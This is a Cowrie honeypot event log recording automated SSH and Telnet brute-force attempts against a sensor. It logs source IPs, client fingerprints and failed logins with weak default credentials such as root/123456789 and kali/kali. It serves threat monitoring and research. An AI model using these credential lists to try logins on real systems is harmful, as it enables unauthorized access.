{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:07.830004Z","src_ip":"91.92.42.227","session":"7fdcee02cc17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:07.833282Z","src_ip":"91.92.42.227","session":"7fdcee02cc17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:08.562449Z","src_ip":"91.92.42.227","session":"7fdcee02cc17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37146,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b54ebe5785b","protocol":"ssh","message":"New connection: 45.156.87.147:37146 (10.17.0.5:22) [session: 8b54ebe5785b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:08.986244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:08.989776Z","src_ip":"45.156.87.147","session":"8b54ebe5785b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:09.076967Z","src_ip":"45.156.87.147","session":"8b54ebe5785b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:09.326229Z","src_ip":"45.156.87.147","session":"8b54ebe5785b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:09.671252Z","src_ip":"91.92.42.227","session":"7fdcee02cc17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:10.412310Z","src_ip":"45.156.87.147","session":"8b54ebe5785b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36474,"dst_ip":"10.17.0.5","dst_port":22,"session":"abb1efa63247","protocol":"ssh","message":"New connection: 45.156.87.147:36474 (10.17.0.5:22) [session: abb1efa63247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:14.550238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:14.554590Z","src_ip":"45.156.87.147","session":"abb1efa63247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:14.635936Z","src_ip":"45.156.87.147","session":"abb1efa63247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41084,"dst_ip":"10.17.0.5","dst_port":22,"session":"e038758f08b0","protocol":"ssh","message":"New connection: 91.92.42.227:41084 (10.17.0.5:22) [session: e038758f08b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:14.787642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:14.802971Z","src_ip":"91.92.42.227","session":"e038758f08b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:14.890200Z","src_ip":"91.92.42.227","session":"e038758f08b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:14.938497Z","src_ip":"45.156.87.147","session":"abb1efa63247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"12345","message":"login attempt [appuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:15.223955Z","src_ip":"91.92.42.227","session":"e038758f08b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:16.023932Z","src_ip":"45.156.87.147","session":"abb1efa63247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:16.355543Z","src_ip":"91.92.42.227","session":"e038758f08b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44508,"dst_ip":"10.17.0.5","dst_port":22,"session":"f45e259c73f3","protocol":"ssh","message":"New connection: 45.156.87.147:44508 (10.17.0.5:22) [session: f45e259c73f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:20.031065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:20.091774Z","src_ip":"45.156.87.147","session":"f45e259c73f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:20.158014Z","src_ip":"45.156.87.147","session":"f45e259c73f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:20.437742Z","src_ip":"45.156.87.147","session":"f45e259c73f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41152,"dst_ip":"10.17.0.5","dst_port":22,"session":"e939a1fd4fb8","protocol":"ssh","message":"New connection: 91.92.42.227:41152 (10.17.0.5:22) [session: e939a1fd4fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:21.179675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:21.350844Z","src_ip":"91.92.42.227","session":"e939a1fd4fb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:21.353672Z","src_ip":"91.92.42.227","session":"e939a1fd4fb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:21.520645Z","src_ip":"45.156.87.147","session":"f45e259c73f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:22.329031Z","src_ip":"91.92.42.227","session":"e939a1fd4fb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":59796,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e66c92b3eca","protocol":"ssh","message":"New connection: 103.252.123.105:59796 (159.203.135.109:22) [session: 4e66c92b3eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:22.421656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:22.426073Z","src_ip":"103.252.123.105","session":"4e66c92b3eca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:22.661874Z","src_ip":"103.252.123.105","session":"4e66c92b3eca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36496,"dst_ip":"159.203.135.109","dst_port":23,"session":"775872609ef0","protocol":"telnet","message":"New connection: 128.199.8.54:36496 (159.203.135.109:23) [session: 775872609ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:23.340719Z"}
{"eventid":"cowrie.session.closed","duration":0.004537820816040039,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:23.345130Z","src_ip":"128.199.8.54","session":"775872609ef0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"staging1","password":"staging1","message":"login attempt [staging1/staging1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:23.617970Z","src_ip":"103.252.123.105","session":"4e66c92b3eca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:23.622392Z","src_ip":"91.92.42.227","session":"e939a1fd4fb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:24.852272Z","src_ip":"103.252.123.105","session":"4e66c92b3eca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44524,"dst_ip":"10.17.0.5","dst_port":22,"session":"18c6a0680ea3","protocol":"ssh","message":"New connection: 45.156.87.147:44524 (10.17.0.5:22) [session: 18c6a0680ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:25.839372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:25.842106Z","src_ip":"45.156.87.147","session":"18c6a0680ea3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:25.924895Z","src_ip":"45.156.87.147","session":"18c6a0680ea3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:26.170775Z","src_ip":"45.156.87.147","session":"18c6a0680ea3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:27.284956Z","src_ip":"45.156.87.147","session":"18c6a0680ea3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34462,"dst_ip":"10.17.0.5","dst_port":22,"session":"3366b3a487e8","protocol":"ssh","message":"New connection: 91.92.42.227:34462 (10.17.0.5:22) [session: 3366b3a487e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:27.595463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:27.858873Z","src_ip":"91.92.42.227","session":"3366b3a487e8","protocol":"ssh"}
